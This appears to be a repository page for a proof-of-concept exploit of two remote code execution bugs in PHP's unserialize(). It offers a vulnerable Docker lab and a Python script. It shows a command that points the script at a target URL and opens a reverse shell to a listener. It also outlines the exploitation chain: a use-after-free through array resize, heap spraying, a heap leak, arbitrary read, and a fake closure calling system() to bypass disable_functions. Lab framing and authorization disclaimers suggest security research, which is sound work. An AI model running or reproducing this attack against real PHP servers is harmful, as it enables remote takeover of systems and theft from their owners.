Karim BOUDRA @ ULTRADEFENSE LAB · October 21, 2026 · lab use only

Watch on Youtube : https://www.youtube.com/watch?v=NlJ_C07NL00

▶ Play the full video

Two RCEs in PHP's unserialize() core (C: Serializable and E: enum-autoload branches in var_unserializer.re), reproduced on the day the patch was released: local root with disable_functions bypassed, and a remote www-data shell in ~2,200 requests over both HTTP and TLS, for both CVEs.

• LAB/ — vulnerable Docker target with bridge networking
  • Dockerfile — PHP 8.5.11 Apache, two entry points, TLS, and checker
  • docker-compose.yml — bridge network, ports 8486 (HTTP) and 8483 (HTTPS)
  • run.sh — up | status | down | clean
  • remote_app.php — C: entry point (Serializable)
  • remote_app_enum.php — E: entry point (enum autoload)
  • check.php — safe detector for both branches and sink scanner
• POC/
  • POCKETPOC-PHP2SHELL.py
• POC-demo.mp4 — full video
• POC-preview.gif — animated preview
• README.md — documentation
• index.html — repository page

python3 --version                  # >= 3.8 required
php --version                      # CLI, for the pocket PoC
docker compose version             # for LAB/run.sh

cd LAB
./run.sh up          # build + bridge container, listening on all interfaces
# local: http://127.0.0.1:8486     LAN: http://iplan:8486

# pocket detection (any PHP server)
python3 POCKETPOC-PHP2SHELL.py --url http://172.20.10.5:8486/remote_app.php --reverse 172.20.10.5:4444

1. unserialize($data)->x = 0; gadget (C: entry point) or enum autoload (E: entry point)
2. a:41:{...} payload: entry point + stdClass with 8 properties + 32 sprays + R:4..11
3. resize from 8 to 16: efree() releases arData; slots 4..11 point into it (UAF)
4. reclaim: the 280-byte sprays reclaim the freed bin-320
5. heap leak: write-through via R:N of a zend_reference pointer
6. uaf_read(addr, n): fake IS_STRING positioned at an arbitrary address
7. fake closure: ce, handlers, func.handler = zif_system (resolved in the module's static function table, thereby bypassing disable_functions)
8. dispatch: $result[33]("id") locally; serialize() + fake vtable invoking system() remotely

The bug is exploitable only when the target application passes attacker-controlled data to unserialize(). Testing a third party requires written authorization and crash-DoS rules of engagement. This repository is a lab: expose it only on controlled networks, and shut it down with ./run.sh down after use.

Research credits: Calif (MAD Bugs, public C: PoC), Nicolas Grekas (GH-23981, E: branch).

PoC author: Karim BOUDRA @ ULTRADEFENSE LAB.

Greetings: CYBERSEC TEAM

This project is provided strictly for educational purposes and authorized security research. You are solely responsible for how you use it. The author assumes no liability for misuse, damage, or illegal activity. Use it only on systems you own or have explicit permission to test.